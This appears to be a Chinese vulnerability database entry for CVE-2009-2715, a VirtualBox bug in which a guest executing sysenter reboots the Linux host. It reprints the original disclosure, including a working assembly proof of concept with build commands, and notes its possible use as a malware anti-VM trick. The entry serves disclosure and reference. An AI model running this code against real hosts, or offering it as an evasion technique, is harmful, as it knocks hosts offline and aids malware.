Sun VirtualBox Host Operating System本地拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118223 漏洞类型 输入验证
发布时间 2009-08-01 更新时间 2009-08-10
CVE编号 CVE-2009-2715 CNNVD-ID CNNVD-200908-055
漏洞平台 Multiple CVSS评分 4.9
|漏洞来源
https://www.exploit-db.com/exploits/9323
https://cxsecurity.com/issue/WLB-2009080089
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-055
|漏洞详情
SunVirtualBox2.2至3.0.2r49928允许子操作用户通过一个sysenter指令造成一个拒绝服务(Linux主机OS重新启动)。
|漏洞EXP
Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <vilkeliskis.t@gmail.com>
Disclosure made at 2009-08-01

VULNERABILITY INFORMATION

Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux

VULNERABILITY DESCRIPTION

VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.

POC

; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot

BITS 32
SECTION .text
GLOBAL main

main:
    sysenter
    ret

# milw0rm.com [2009-08-01]
|参考资料

来源:XF
名称:virtualbox-sysenter-dos(52211)
链接:http://xforce.iss.net/xforce/xfdb/52211
来源:BID
名称:35915
链接:http://www.securityfocus.com/bid/35915
来源:MILW0RM
名称:9323
链接:http://www.milw0rm.com/exploits/9323